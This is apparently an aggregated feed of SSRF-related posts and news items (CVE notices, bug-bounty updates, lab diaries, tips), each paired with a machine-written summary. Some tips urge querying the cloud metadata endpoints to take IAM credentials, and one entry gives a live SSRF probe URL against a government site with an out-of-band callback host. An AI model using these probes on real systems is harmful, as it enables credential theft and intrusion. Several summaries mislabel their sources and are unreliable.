| 2026-02-14 2026 | Day 2 of active bug hunting. 3 reports submitted on HackerOne XSS subdomain takeover and a blind SSRF with redirect bypass hitting internal cloud infrastructure. The grind is real. #bugbounty #ssrf #infosec intermediate | Day 2 of bug hunting involved submitting 3 reports on HackerOne about XSS, subdomain takeover, and a blind SSRF with redirect bypass affecting internal cloud infrastructure. The process was challenging but rewarding. The focus was on bug bounty, SSRF, and information security. #bugbounty #ssrf #infosec. |
| 2026-02-11 2026 | El plugin Converter for Media Optimize images | Convert WebP & AVIF (6.5.1) tiene una vulnerabilidad SSRF sin autenticación (CVSS 4.8). Solución: actualizar a la versión 6.5.2 o superior. #WordPress #Seguridad #SSRF news | The "Converter for Media - Optimize images | Convert WebP & AVIF" plugin version 6.5.1 has an SSRF vulnerability without authentication (CVSS 4.8). The solution is to update to version 6.5.2 or higher. This vulnerability poses a security risk in WordPress websites. It is recommended to address this issue promptly by updating the plugin to ensure protection against potential exploits. |
| 2026-02-10 2026 | SSRF Hunting 2025: 12 Tools Beyond Metadata for Next-Level Pentesting medium.verylazytech.com/ssrf-hunting-2 #ssrf #CyberSecurity intermediate | The content discusses SSRF hunting tools for advanced penetration testing beyond metadata, focusing on next-level pentesting for improved cybersecurity. It highlights 12 tools and strategies to enhance SSRF hunting in 2025. The article aims to provide insights and techniques for cybersecurity professionals interested in strengthening their skills in identifying and mitigating Server-Side Request Forgery (SSRF) vulnerabilities. |
| 2026-02-08 2026 | A Server-Side Request Forgery (SSRF) flaw (CVE-2026-25580) impacts Pydantic AI in its URL download handling. This could enable internal network reconnaissance. #PydanticAI #SSRF #infosec pulsepatch.io/posts/cve-2026 news | The Pydantic AI software is affected by a Server-Side Request Forgery (SSRF) vulnerability (CVE-2026-25580) in its URL download feature, potentially allowing internal network reconnaissance. This flaw poses a security risk and falls under the realm of information security (#infosec). For more details, visit pulsepatch.io/posts/cve-2026. |
| 2026-02-05 2026 | Vulristics 1.0.11 released: SSRF added as a dedicated vulnerability type (sev 0.87) replacing the old Command Injection mapping and simplifying classification; new anvil forge icon for reports. #Vulristics #SSRF t.me/avleonovcom/16Ipic.x.com/GPY6oLxYT66 intermediate | Vulristics 1.0.11 update introduces SSRF as a new vulnerability type with a severity rating of 0.87, replacing Command Injection mapping for easier classification. The release also includes a new anvil forge icon for reports. The update aims to simplify vulnerability classification and reporting. #Vulristics #SSRF. |
| 2026-02-05 2026 | Warning: The AI agent automation platform #AutoGPT contains 3 #critical vulnerabilities including insecure functions causing #SSRF and resource exhaustion. #PoC is available (bypassing URL filter). Details and PoC available at: github.com/Significant-Gr #Patch #Patch #Patch intermediate | The AI agent automation platform #AutoGPT has 3 critical vulnerabilities, leading to SSRF and resource exhaustion due to insecure functions. A proof of concept (PoC) is accessible, bypassing URL filters. More information and the PoC are available on github.com/Significant-Gr. Urgent patching is recommended to address these vulnerabilities. |
| 2026-02-05 2026 | Uh oh looks like n8n had a lil' oopsie with their S3 node! An SSRF vulnerability meant secrets could spill. Update your n8n like it's hot sauce on your ramen! Details here:github.com/n8n-io/n8n/sec5 #n8n #SSRF #CyberSecurity #PatchNow intermediate | n8n encountered an SSRF vulnerability in their S3 node, potentially exposing secrets. Users are advised to update their n8n to address the issue promptly. More information can be found at github.com/n8n-io/n8n/sec5. The importance of cybersecurity and the need to patch the vulnerability immediately are emphasized. |
| 2026-02-04 2026 | CISA warns of five-year-old GitLab flaw exploited in attacks news 2 min read | Writeup on CVE-2021-39935, a GitLab SSRF vulnerability actively exploited by threat actors. CISA has ordered U.S. federal agencies to patch this five-year-old flaw, which allows unauthenticated external users to access the CI Lint API and perform server-side requests. This vulnerability impacts multiple GitLab versions prior to December 2021 updates and affects organizations using GitLab's DevSecOps platform. → bleepingcomputer.com |
| 2026-02-04 2026 | CISA Warns of GitLab Community and Enterprise Editions SSRF Vulnerability Exploited in Attacks news 2 min read | Writeup on CVE-2021-39935, a critical GitLab SSRF vulnerability actively exploited by threat actors. This flaw allows attackers to leverage the CI Lint API to send requests from the GitLab server to internal or external systems, bypassing network controls. Exploitation can lead to internal network scanning, access to cloud metadata, or interaction with internal APIs. CISA added it to the KEV catalog, prompting immediate patching or workarounds, such as disabling the CI Lint API. → cybersecuritynews.com |
| 2026-02-04 2026 | CISA Warns of Actively Exploited GitLab SSRF Vulnerability in Community and Enterprise Editions news 2 min read | Writeup of CVE-2021-39935, an actively exploited GitLab SSRF vulnerability allowing unauthenticated remote attackers to perform unauthorized server-side requests via the CI Lint API. CISA's warning highlights the risk of exposing sensitive internal systems, credential leakage, and exploitation in cloud-hosted deployments. Organizations are urged to upgrade GitLab to patched versions and restrict API exposure to mitigate this threat. → cyberpress.org |
| 2026-02-04 2026 | CISA Warns of Exploited GitLab Community and Enterprise SSRF Vulnerability news 2 min read | Analysis of CVE-2021-39935, a critical SSRF vulnerability in GitLab Community and Enterprise Editions, actively exploited by threat actors to perform unauthenticated server-side requests. This flaw allows attackers to access internal resources, bypass perimeter defenses, and potentially facilitate lateral movement. CISA has added this to its KEV catalog, mandating remediation for federal agencies by February 24, 2026, with immediate patching recommended for all affected organizations. → gbhackers.com |
| 2026-02-03 2026 | SSRF vulnerability TRIAGED Server-Side Request Forgery leading to cloud metadata exposure and potential instance compromise. Responsible disclosure in progress. #BugBounty #SSRF #CloudSecurity #InfoSec #bugcrowd pic.x.com/PR0wU6fOk2 news | A Server-Side Request Forgery (SSRF) vulnerability has been identified, potentially exposing cloud metadata and compromising instances. The issue is being responsibly disclosed. The vulnerability poses a risk to cloud security and is being addressed through bug bounty programs. #BugBounty #SSRF #CloudSecurity #InfoSec #bugcrowd. |
| 2026-02-02 2026 | Step 1: The Initial Foothold I found that Apigee could be configured to point to ANY backend of my choice making it a built-in #SSRF. I then pointed it towards the internal metadata endpoint and extracted its service account tokens. intermediate | The content discusses exploiting Apigee's configuration to direct it to any backend, creating a Server-Side Request Forgery (#SSRF) vulnerability. By pointing it to the internal metadata endpoint, the author extracted service account tokens. This process is outlined as Step 1 in gaining an initial foothold. |
| 2026-02-02 2026 | A Discourse SSRF protection bypass (CVE-2025-68662) has been identified due to hostname matching issues. This flaw could enable access to internal network resources. #Discourse #SSRF #infosec pulsepatch.io/posts/cve-2025 news | A vulnerability (CVE-2025-68662) in Discourse's SSRF protection was discovered due to hostname matching problems, potentially allowing unauthorized access to internal network resources. This issue poses a security risk and has implications for information security. More details can be found at pulsepatch.io/posts/cve-2025. |
| 2026-02-02 2026 | Yay I was awarded a $ $$$ bounty on @Hacker0x01! hackerone.com/drak3hft7 #TogetherWeHitHarder #bugbountytips Always try to reach internal resources. #ssrf pic.x.com/ozNnHGo1mN beginner | The content mentions receiving a bounty on HackerOne, emphasizing the importance of trying to access internal resources for bug bounty tips. It also includes a reference to Server-Side Request Forgery (SSRF) and a link. The post celebrates the bounty reward and encourages others to aim for similar success. |
| 2026-01-28 2026 | Squidex has an SSRF vulnerability (CVE-2026-24736) in its webhook configuration. Review network egress and webhook validation #Squidex #SSRF #infosec pulsepatch.io/posts/cve-2026 news | Squidex has an SSRF vulnerability (CVE-2026-24736) in its webhook setup. It is advised to examine network egress and validate webhooks to address this issue. This information is shared on pulsepatch.io/posts/cve-2026. #Squidex #SSRF #infosec |
| 2026-01-26 2026 | WebHackDiaries Part 4: SSRF Just completed the SSRF labs on PortSwigger Web Security Academy. Key lesson: SSRF isnt about URLs its about broken trust boundaries. On to the next labs #WebHackDiaries #SSRF #PortSwigger #WebSecurity #BugBounty #CyberSecuripic.x.com/RgANMeoaW2aW2 beginner | The content discusses completing SSRF labs on PortSwigger Web Security Academy, emphasizing that SSRF is about broken trust boundaries, not just URLs. The focus is on learning and moving on to the next labs. Key hashtags include #WebHackDiaries, #SSRF, #PortSwigger, #WebSecurity, #BugBounty, and #CyberSecuri. The post includes a link to a picture. |
| 2026-01-26 2026 | Just published a blog about a not well documented azure endpoint osquery.net/unknown-azure- #bugbountytips #SSRF intermediate | A new blog post has been published discussing an undocumented Azure endpoint. The post can be found at osquery.net/unknown-azure- and covers information related to bug bounty tips and SSRF. The content highlights insights and details about the Azure endpoint that may not be widely known. The blog post aims to provide valuable information for bug bounty hunters and those interested in security research. |
| 2026-01-22 2026 | Critical Chainlit AI Vulnerabilities Let Hackers Gain Control Over Cloud Environments intermediate 2 min read | Vulnerabilities in Chainlit, CVE-2026-22218 and CVE-2026-22219, allow attackers to steal cloud credentials and control AI environments. The arbitrary file read vulnerability permits access to sensitive data like AWS secret keys and database credentials, while the server-side request forgery flaw enables attackers to target internal services and AWS metadata endpoints for IAM role credentials. These can be chained to compromise cloud infrastructure, steal source code, and achieve account takeover. Chainlit version 2.9.4 addresses these issues. → cybersecuritynews.com |
| 2026-01-21 2026 | Chainlit AI Framework Flaws Enable Data Theft via File Read and SSRF Bugs intermediate 3 min read | Library with vulnerabilities enabling data theft and SSRF attacks within the Chainlit AI framework. CVE-2026-22218, an arbitrary file read flaw, can expose sensitive files and API keys. CVE-2026-22219, an SSRF vulnerability, permits arbitrary HTTP requests, potentially accessing cloud metadata endpoints like AWS IMDSv1. These ChainLeak vulnerabilities can be combined for lateral movement and privilege escalation. Chainlit version 2.9.4 addresses these issues. → thehackernews.com |
| 2026-01-21 2026 | Tenable Discovers SSRF Vulnerability in Java TLS Handshakes That Creates DoS Risk intermediate 11 min read | Writeup of CVE-2026-21945, a Java SSRF vulnerability impacting TLS handshakes. Tenable Research discovered that malicious client certificates with the AIA extension can trigger Server-Side Request Forgery (SSRF) and Denial-of-Service (DoS) attacks. The exploit highlights that client certificates in mTLS configurations act as user input and require strict validation to prevent servers from accessing potentially malicious URIs. Oracle addressed this critical vulnerability in their January 2026 Critical Patch Update, necessitating immediate updates for Java environments utilizing mTLS and AIA fetching. → securityboulevard.com |
| 2026-01-20 2026 | [Rabbit Store] JWT Manipulation SSRF SSTI and Root Access via a Vulnerable Erlang Distribution on RabbitMQ Link: osintteam.blog/rabbit-store-j #jwt #ssrf #ssti #erlang #rabbitmq pic.x.com/j10mRySsKG intermediate | The content discusses vulnerabilities in RabbitMQ, specifically JWT manipulation, SSRF, SSTI, and root access due to a vulnerable Erlang distribution. The post highlights the risks associated with these vulnerabilities and provides a link for further details. The focus is on the security implications of these issues and their potential impact on systems using RabbitMQ. |
| 2026-01-19 2026 | Here's a 20% Discount Coupon BRLJAN20 For the ebooks: = First #Bounty = #SSRF Mastery - Fundamentals = The Brute Art of #Bypass Encourage independent work in #cybersecurity. brutelogic.net beginner | Get a 20% discount on cybersecurity ebooks like "First #Bounty," "#SSRF Mastery - Fundamentals," and "The Brute Art of #Bypass" using the coupon code BRLJAN20 at brutelogic.net. This offer aims to support independent work in cybersecurity. |
| 2026-01-19 2026 | Testing for SSRF with Burp Suite intermediate 2 min read | Walkthrough of testing for Server-Side Request Forgery (SSRF) using Burp Suite's Intruder. This method focuses on identifying attack vectors containing URLs, then leveraging Intruder to enumerate internal IP addresses, particularly within private ranges like `192.168.0.0/24`. The process involves modifying requests, setting up numerical payloads to probe different IP octets and ports, and analyzing response status codes and lengths to detect internal back-end systems. → portswigger.net |
| 2026-01-18 2026 | Testing for blind SSRF with Burp Suite intermediate 1 min read | Library for detecting blind SSRF vulnerabilities using Burp Suite's Collaborator. It details a workflow for identifying these flaws by injecting a Collaborator payload into HTTP requests, typically within a parameter like `productId` or a header such as `Referer`. The library guides users to monitor Collaborator interactions for out-of-band requests, confirming the SSRF vulnerability. → portswigger.net |
| 2026-01-17 2026 | Day 16 Today was about Server Side Request Forgery. I Learned how it works and very simple ways to carry it out. Solved two labs today. Also studied more on isc's domain 1. Security principles #100DaysOfCybersecurity #ssrf pic.x.com/MIOMpjOln8 beginner | Day 16 focused on Server Side Request Forgery (SSRF), learning its workings and simple execution methods. The individual solved two labs and delved deeper into ISC's domain 1 on security principles. The day's activities were part of the #100DaysOfCybersecurity challenge. |
| 2026-01-17 2026 | SSRF is still one of the most dangerous web bugs Built & open sourced SSRFHunter: Cloud metadata payloads GraphQL & WebSocket vectors Advanced bypass techniques Automation for real-world testing Repgithub.com/BotGJ16/SSRFHuwRNSBN #BugBounty #SSRF #RedTeam #CyberSecurity intermediate | SSRF remains a dangerous web bug. SSRFHunter tool is open-sourced, focusing on cloud metadata payloads, GraphQL & WebSocket vectors, advanced bypass techniques, and automation for real-world testing. The tool is available on GitHub for Bug Bounty, Red Team, and Cybersecurity purposes. The link provided directs to the tool's repository for further exploration. |
| 2026-01-16 2026 | #SSRF hxxs://citizen.gov.gh/_next/image?w=16&q=10&url=hxxps://xxxxxxx.oast.live hxxps://https://ift.tt/ewbARxD beginner | The content mentions a potential Server-Side Request Forgery (SSRF) vulnerability involving URLs pointing to citizen.gov.gh and other suspicious domains like oast.live and ift.tt. The presence of SSRF could allow attackers to manipulate server requests and potentially access sensitive information. It is crucial to address and mitigate such vulnerabilities to protect the security of the system and prevent unauthorized access. |
| 2026-01-15 2026 | Serverless Security Risks 2026: Mitigating Identity & SSRF RCE Threats intermediate 17 min read RCE | Analysis of serverless security risks in 2026 highlights how identity, permissions, and configuration replace infrastructure as the primary security boundary. Short-lived cloud credentials, while reducing persistence, remain potent when exposed, enabling authenticated access, privilege escalation, and lateral movement. Common issues like public invocation, excessive permissions, and weak input validation are particularly dangerous, especially when leading to SSRF and RCE exploits that directly expose runtime credentials. Risk compounds through interconnected services, shared roles, and reused dependencies, demanding continuous visibility into identity scope, invocation paths, and configuration hygiene to mitigate systemic exposure and prevent cloud-wide compromise. |
| 2026-01-14 2026 | FortiSandbox SSRF Vulnerability Allows Attackers to Proxy Internal Traffic via Crafted HTTP Requests news 2 min read | Writeup of CVE-2025-67685, an SSRF vulnerability in FortiSandbox allowing authenticated attackers to proxy internal traffic via crafted HTTP requests. This flaw, classified under CWE-918, impacts multiple FortiSandbox versions, requiring upgrades to 5.0.5+ for version 5.0, and migration to fixed releases for versions 4.4, 4.2, and 4.0. The vulnerability, with a CVSS v3.1 score of 3.4, is limited to plaintext endpoints. → cyberpress.org |
| 2026-01-13 2026 | Data theft SSRF intrusions likely with critical Apache Struts 2 bug news | Library impacted by CVE-2025-68493, a critical XML external entity injection vulnerability in Apache Struts 2. This flaw enables data exposure, denial-of-service, and server-side request forgery (SSRF) intrusions, posing significant security risks to affected applications. → scworld.com |
| 2026-01-13 2026 | Critical Apache Struts 2 Vulnerability Allows Attackers to Steal Sensitive Data news 2 min read | Writeup of CVE-2025-68493 in Apache Struts 2, detailing an XML External Entity (XXE) injection vulnerability within the XWork component. This flaw allows attackers to exfiltrate sensitive data, perform server-side request forgery (SSRF), and cause denial-of-service. The vulnerability affects multiple Struts 2 versions, including unsupported ones. Patches are available for Struts 6.1.1 and later, with temporary mitigations including hardening XML parsing or setting JVM properties. The issue was reported by ZAST.AI. → cyberpress.org |
| 2026-01-13 2026 | FortiSandbox SSRF Vulnerability Allow Attacker to proxy Internal Traffic via Crafted HTTP Requests news 1 min read | Writeup of CVE-2025-67685 in FortiSandbox, a Server-Side Request Forgery vulnerability due to improper input validation in the GUI component. This flaw, with a CVSSv3 score of 3.4, allows authenticated attackers to craft HTTP requests, proxying traffic to internal plaintext endpoints, potentially exposing sensitive services. Fortinet recommends immediate upgrades to mitigate the risk. → cybersecuritynews.com |
| 2026-01-13 2026 | WP Migrate Lite 2.7.6 sufre Blind SSRF (SSRF) que permite peticiones externas sin autenticación. CVSS 5.8 (medio). Solución: actualizar a 2.7.7 o superior. #WordPress #Seguridad #SSRF t.me/vulnerabilityw news | WP Migrate Lite version 2.7.6 has a Blind SSRF vulnerability allowing external requests without authentication, rated CVSS 5.8 (medium). The solution is to update to version 2.7.7 or higher. This security issue is related to WordPress and SSRF. Stay informed about vulnerabilities at t.me/vulnerabilityw. |
| 2026-01-13 2026 | New Writeup Alert! "Bypassing SSRF Protections: A $10000 Lesson from Slack" by Abhishek meena is now live on IW! Check it out hereinfosecwriteups.com/6cff022a44a6OE #infosec #bugbountytips #ssrf #hacking #bugbounty intermediate | The content announces a new writeup titled "Bypassing SSRF Protections: A $10,000 Lesson from Slack" by Abhishek Meena on IW. It discusses bypassing SSRF protections and shares insights from a Slack-related incident. The writeup is available at the provided link. It covers topics related to information security, bug bounty tips, SSRF, hacking, and bug bounty programs. The content aims to provide valuable lessons and knowledge in the cybersecurity field. |
| 2026-01-12 2026 | Attackers Targeting LLMs In Widespread Campaign news 3 min read | Analysis of widespread reconnaissance campaigns targeting large language models (LLMs) reveals threat actors actively scanning for misconfigured proxy servers to access commercial APIs. These actors are probing major LLM families including OpenAI, Anthropic, Meta, and Google, with their systematic enumeration utilizing IPs historically linked to CVE exploitation, such as CVE-2025-55182. A secondary campaign leverages ProjectDiscovery's OAST infrastructure, likely with Nuclei tooling, to confirm SSRF vulnerability exploitation through callback validation. Organizations are advised to implement egress filtering, detect enumeration patterns, block OAST at DNS, and monitor specific ASNs and JA4 fingerprints to mitigate these emerging threats. → thecyberexpress.com |
| 2026-01-12 2026 | Hackers Exploit SSRF Flaws for Free Access to OpenAI Anthropic LLMs intermediate 6 min read | Library for detecting and mitigating SSRF-based attacks targeting LLM services. This library helps secure endpoints for OpenAI, Anthropic, and other AI providers by identifying misconfigured proxy servers and blocking unauthorized access, thus preventing free usage and potential data exfiltration. |
| 2026-01-12 2026 | Critical Apache Struts 2 Flaw Could Let Attackers Steal Sensitive Data news 1 min read | Library for securing Apache Struts 2 applications against CVE-2025-68493, an XML External Entity (XXE) injection vulnerability in the XWork component. This flaw allows attackers to steal sensitive data, perform server-side request forgery (SSRF), and cause denial-of-service by exploiting improper XML configuration parsing. The recommended remediation is upgrading to Struts 6.1.1 or later, with temporary mitigations including custom SAXParserFactory configurations to disable external entities. → gbhackers.com |
| 2026-01-11 2026 | 3/ The Lesson: Never trust a URL after you've checked it. Pin the IP or use a whitelist. Full write-up coming soon on my Medium! Stay tuned. #SSRF #HackingTips intermediate | The content emphasizes the importance of not trusting a URL after checking it, suggesting to pin the IP or use a whitelist for security. A detailed write-up on this topic will be available soon on the author's Medium platform. The post mentions the hashtags #SSRF and #HackingTips, indicating a focus on security and hacking-related advice. Stay tuned for more information. |
| 2026-01-09 2026 | SSRF Tip Hitting localhost isnt the bug. The bug is when SSRF lets you: Access internal services Read cloud metadata Bypass network restrictions If theres no real impact expect a NA #BugBounty #ssrf #bugbountytips intermediate | The content highlights that hitting localhost in SSRF is not the bug. The real issue arises when SSRF allows access to internal services, reading cloud metadata, or bypassing network restrictions. If the impact is minimal, it may result in a "NA" classification in bug bounty programs. The post emphasizes the importance of understanding the true vulnerabilities in SSRF scenarios for bug bounty hunters. |
| 2026-01-09 2026 | LibreChat is vulnerable to Server-Side Request Forgery (SSRF) due to missing restrictions (CVE-2025-69222). This allows arbitrary server-side requests. #LibreChat #SSRF #infosec pulsepatch.io/posts/cve-2025 news | LibreChat is susceptible to Server-Side Request Forgery (SSRF) due to lacking restrictions (CVE-2025-69222), enabling arbitrary server-side requests. This vulnerability poses a security risk. #LibreChat #SSRF #infosec. |
| 2026-01-09 2026 | Hackers Actively Exploit AI Deployments as 91000 Attack Sessions Are Detected news 2 min read | Analysis of 91,000+ attack sessions against AI deployments reveals two primary threat campaigns. One exploits server-side request forgery (SSRF) against Ollama's model pull functionality and Twilio SMS webhooks, utilizing ProjectDiscovery's OAST infrastructure. The second campaign targets 73+ large language model endpoints, including GPT-4o, Claude, and Llama, using reconnaissance probes against misconfigured proxy servers to identify commercial AI APIs. Defense strategies include model pull restrictions, egress filtering, rate-limiting, DNS blocking of OAST callback domains, and alerts for multi-endpoint probing. → cyberpress.org |
| 2026-01-09 2026 | Threat Actors Actively Targeting LLMs news 3 min read | Analysis of attack campaigns targeting Ollama and other LLM endpoints reveals two distinct threat actor operations between October 2025 and January 2026. One campaign exploited Server-Side Request Forgery (SSRF) vulnerabilities via Ollama model pulls and Twilio webhooks, using ProjectDiscovery's OAST infrastructure for validation. The second, more concerning campaign, conducted methodical enumeration of LLM model endpoints, probing formats for OpenAI, Gemini, Claude, Llama, and others, with the attackers' infrastructure linked to known CVE exploitation including CVE-2025-55182 and CVE-2023-1389. |
| 2026-01-08 2026 | SSRF Pro Tip SSRF in the cloud is rarely low impact. Always hit metadata 169.254.169.254 metadata.google.internal One request can leak IAM creds tokens secrets Metadata SSRF often equals cloud takeover. Creds to @lex_is1 #BugBounty #SSRF #CloudSecurity #AppSec intermediate | The content provides a tip on Server-Side Request Forgery (SSRF) in the cloud, emphasizing the high impact it can have. It suggests targeting specific metadata endpoints like 169.254.169.254 to potentially leak sensitive information such as IAM credentials and tokens. The post warns that exploiting metadata SSRF can lead to a complete takeover of cloud resources. The information is shared in the context of Bug Bounty programs and highlights the importance of cloud security in application security. The tip is credited to @lex_is1. |
| 2026-01-08 2026 | SSRF Pro Tip SSRF cloud = critical. Always test metadata: 169.254.169.254metadata.googleR.internal You might get: IAM creds access tokens cloud secrets SSRF that hits metadata low impact. Its often cloud takeover. #BugBounty #SSRF #CloudSecurity #InfoSec intermediate | The content emphasizes the importance of testing SSRF (Server-Side Request Forgery) vulnerabilities in cloud environments, particularly focusing on accessing metadata at 169.254.169.254metadata.googleR.internal. This can potentially lead to obtaining sensitive data like IAM credentials, access tokens, and cloud secrets, posing a significant security risk. It highlights that exploiting SSRF vulnerabilities in cloud environments can result in a cloud takeover, making it a critical issue to address for Bug Bounty programs and cloud security. The post encourages testing for SSRF vulnerabilities in cloud environments to enhance information security. |
| 2026-01-07 2026 | If you didn't do it in 2025 check my ebooks now in 2026. #BugBounty #SSRF #XSS brutelogic.net beginner | In 2026, the author suggests checking their ebooks if you missed them in 2025. The content mentions Bug Bounty, SSRF, and XSS topics, directing readers to brutelogic.net for more information. The link provided may offer additional details on these subjects. |
| 2026-01-06 2026 | Descubre cómo prevenir XSS y SSRF en listas de suscripción. Más info aquí: security.lauritz-holtmann.de/post/xss-ssrf- #Ciberseguridad #XSS #SSRF beginner | Learn how to prevent XSS and SSRF in subscription lists. For more information, visit security.lauritz-holtmann.de/post/xss-ssrf-. Focus on cybersecurity measures against XSS and SSRF vulnerabilities. #Ciberseguridad #XSS #SSRF. |
| 2026-01-02 2026 | SSRF Attack: Impact, Types, and Attack Example - Bright Security beginner 5 min read | Library for dynamic application security testing that automates the detection and remediation of vulnerabilities, including SSRF. It scans web applications and APIs, preventing attacks like those seen in the Capital One breach where a misconfigured WAF allowed access to internal IAM services, leading to data exfiltration. The tool aims to find and fix issues early in the development lifecycle by integrating into the SDLC and validating findings to achieve zero false positives. |
| 2026-01-02 2026 | How to prevent ssrf attack beginner 17 min read | Library explaining Server-Side Request Forgery (SSRF) vulnerabilities, a serious OWASP Top 10 issue. It details how SSRF allows attackers to proxy requests from exposed services to internal endpoints, potentially compromising sensitive data. The library provides examples of SSRF exploitation, including scenarios targeting internal services and the AWS Instance Metadata Service (IMDSv1), and highlights the risks associated with webhooks and controlling HTTP request targets. |
| 2026-01-02 2026 | Server Side Request Forgery (SSRF) - Security | MDN beginner 2 min read | Reference on Server Side Request Forgery (SSRF) vulnerabilities detailing how attackers can force a server to make arbitrary network requests. It illustrates exploitation via HTTP and file protocols, leading to sensitive data disclosure or Denial of Service. Mitigation strategies include restricting URLs, allowing only HTTPS, managing redirects carefully, applying the principle of least privilege for server network access, and monitoring requests. |
| 2025-12-30 2025 | 10. #Server-Side #request Forgery (#SSRF) = When an attacker tricks the server into making requests to internal or restricted #systems. beginner | The content discusses Server-Side Request Forgery (SSRF), where attackers deceive servers into sending requests to internal or restricted systems. This vulnerability can be exploited to access sensitive information or perform unauthorized actions. It is crucial for organizations to implement security measures to prevent SSRF attacks and protect their systems from potential breaches. |
| 2025-12-23 2025 | Turning List-Unsubscribe into an SSRF/XSS Gadget intermediate 6 min read XSS | Writeup detailing how the `List-Unsubscribe` SMTP header can be weaponized for XSS and SSRF attacks. The analysis covers real-world exploits like Stored XSS via JavaScript URIs in Horde Webmail (CVE-2025-68673) and Blind SSRF in the Nextcloud Mail App, providing code examples for reproducing these vulnerabilities. |
| 2025-12-23 2025 | 7 Examples of SSRF and How to Protect Yourself from It - Spectral beginner 5 min read | Analysis of Server-Side Request Forgery (SSRF) vulnerabilities, detailing how attackers exploit server functionality to access internal resources, leading to consequences like data leakage and remote code execution. The analysis highlights seven SSRF manifestations including port scanning, remote file inclusion (RFI), data exfiltration, XML External Entity (XXE) attacks, server-side cache poisoning, and cloud metadata API abuse. Mitigation strategies emphasize rigorous input validation, sanitization, whitelisting, strict access controls, encryption, and the use of security headers like Content Security Policy (CSP). |
| 2025-12-17 2025 | When a SSRF is enough: Full Docker Escape on Windows Docker Desktop (CVE-2025-9074) #DockerEscape #CVE20259074 #SSRF #UnauthenticatedAPI #WindowsDocker blog.qwertysecurity.com/Articles/blog3 advanced | The content discusses a security vulnerability (CVE-2025-9074) in Windows Docker Desktop that allows a full Docker escape through SSRF. The exploit involves leveraging an unauthenticated API in Windows Docker Desktop, potentially leading to unauthorized access and control of the Docker environment. The blog post provides insights into the vulnerability and its implications for Docker security. |
| 2025-12-12 2025 | I completed the @WebSecAcademy lab: Blind SSRF with Shellshock exploitation my first Expert-level lab! Huge thanks to @PortSwigger this one was intense and super fun. #BugBounty #SSRF #securitymindset portswigger.net/web-security/sGpic.x.com/coygKcXqSrSr intermediate | The content highlights the completion of an Expert-level lab on Blind SSRF with Shellshock exploitation by @WebSecAcademy. The individual expresses gratitude to @PortSwigger for the intense and enjoyable experience. The post includes hashtags #BugBounty, #SSRF, and #securitymindset. The link provided leads to web-security information. |
| 2025-12-09 2025 | Server-Side Request Forgery (#SSRF) vulnerability has been discovered in #Infinera MTC-9 version. Users are advised to follow OEM Security Advisory to remain safe! #CVE-2025-26487 nvd.nist.gov/vuln/detail/CV news | A Server-Side Request Forgery (#SSRF) vulnerability has been found in the Infinera MTC-9 version. Users are urged to refer to the OEM Security Advisory to protect themselves. The specific CVE associated with this vulnerability is CVE-2025-26487. More details can be found at nvd.nist.gov/vuln/detail/CV. |
| 2025-12-09 2025 | Day 20/30 SSRF forged on @PortSwigger! Scanned internals bypassed blacklists blind exfil 2 labs owned including OOB chains. Takeaway: Never trust user-supplied URLs without validation! #SSRF #WebSecurity #PortSwiggerAcademy #BugBounty #EthicalHacking @ethivolt pic.x.com/VKIxogbRG0 intermediate | Day 20/30 of SSRF testing on @PortSwigger resulted in bypassing blacklists, blind exfiltration, and owning 2 labs with OOB chains. Key takeaway: Always validate user-supplied URLs to prevent SSRF attacks. #SSRF #WebSecurity #PortSwiggerAcademy #BugBounty #EthicalHacking @ethivolt. |
| 2025-12-08 2025 | HIGH severity SSRF found in Infinera MTC-9 (R22.1.1.0275). Attackers could exploit this to make unauthorized server requests. Patch info pending. Stay alert!radar.offseq.com/threat/cve-202M #OffSeq #SSRF #Infinerapic.x.com/LEroeYBWdWW news | A high severity SSRF vulnerability was discovered in Infinera MTC-9 (R22.1.1.0275), allowing attackers to make unauthorized server requests. Patch information is awaited. Stay vigilant for updates on this threat. #OffSeq #SSRF #Infinera. |
| 2025-12-07 2025 | 🚨 New article: SSRF exploitation intermediate RCE | What's inside: → 20+ bypass techniques → Cloud metadata attacks (AWS/Azure/GCP) → Gopher protocol exploitation → Docker & Redis RCE chains → Blind SSRF detection → Real automation scripts From ping t... |
| 2025-12-07 2025 | I broke down the attack chain and the defensive controls (IMDSv2 Network Restrictions) in the post. Read here: herish.me/blog/ssrf-chat #CyberSecurity #SSRF #CloudSec #BugBounty (4/4) intermediate | The content discusses breaking down the attack chain and defensive controls related to IMDSv2 and Network Restrictions in a blog post. It emphasizes cybersecurity topics like SSRF, CloudSec, and Bug Bounty programs. The post provides insights into understanding and mitigating potential security threats in cloud environments. Readers are encouraged to visit the specified blog link for more detailed information. |
| 2025-12-06 2025 | Critical XXE Vulnerability in Apache Tika (CVE-2025-66516) Enables SSRF and RCE news 6 min read | Analysis of CVE-2025-66516 reveals a critical XXE vulnerability in Apache Tika, impacting versions up to 3.2.1 for tika-core, 3.2.1 for tika-pdf-module, and 1.28.5 for parsers. This flaw, with a CVSS score of 10.0, allows attackers to craft malicious PDFs that can lead to SSRF attacks, file disclosure, and potential RCE by exploiting how Tika handles XML entities. Exploitation is remotely triggered, requires no authentication, and affects numerous systems relying on Tika for content analysis. |
| 2025-12-03 2025 | This is suggestion for new #hackers Server-Side Request Forgery #SSRF vulnerabilities occur when applications fetch external resources using untrusted user input without proper validation allowing attackers to force server-side requests to internal or unauthorized endpoints beginner | The content discusses a suggestion for new hackers regarding Server-Side Request Forgery (SSRF) vulnerabilities. SSRF occurs when applications fetch external resources using untrusted user input without validation, enabling attackers to manipulate server-side requests to internal or unauthorized endpoints. This vulnerability poses a risk to the security of applications. |
| 2025-12-02 2025 | 2 Por qué es tan peligroso el SSRF? Porque permite saltar el #firewall y: Robar credenciales de nube: Accediendo a los metadatos (#AWS/#Azure/#GCP). Atacar servicios internos: Bases de datos (#Redis #Mongo) o paneles de admin sin autenticación. Escanear tu Intranet beginner | El SSRF es peligroso porque permite saltar el firewall y realizar acciones como robar credenciales de nube accediendo a metadatos de servicios como AWS, Azure, y GCP. También puede usarse para atacar servicios internos como bases de datos como Redis y Mongo, así como paneles de administración sin autenticación. Otra amenaza es la capacidad de escanear la Intranet. |
| 2025-12-02 2025 | full read SSRF submitted on a framework with hundreds of thousands of downloads per week; a first on this one let's see advanced | A full read on SSRF vulnerability has been submitted for a framework with high weekly downloads. This marks a first for this particular framework. The content provides details on this SSRF vulnerability. |
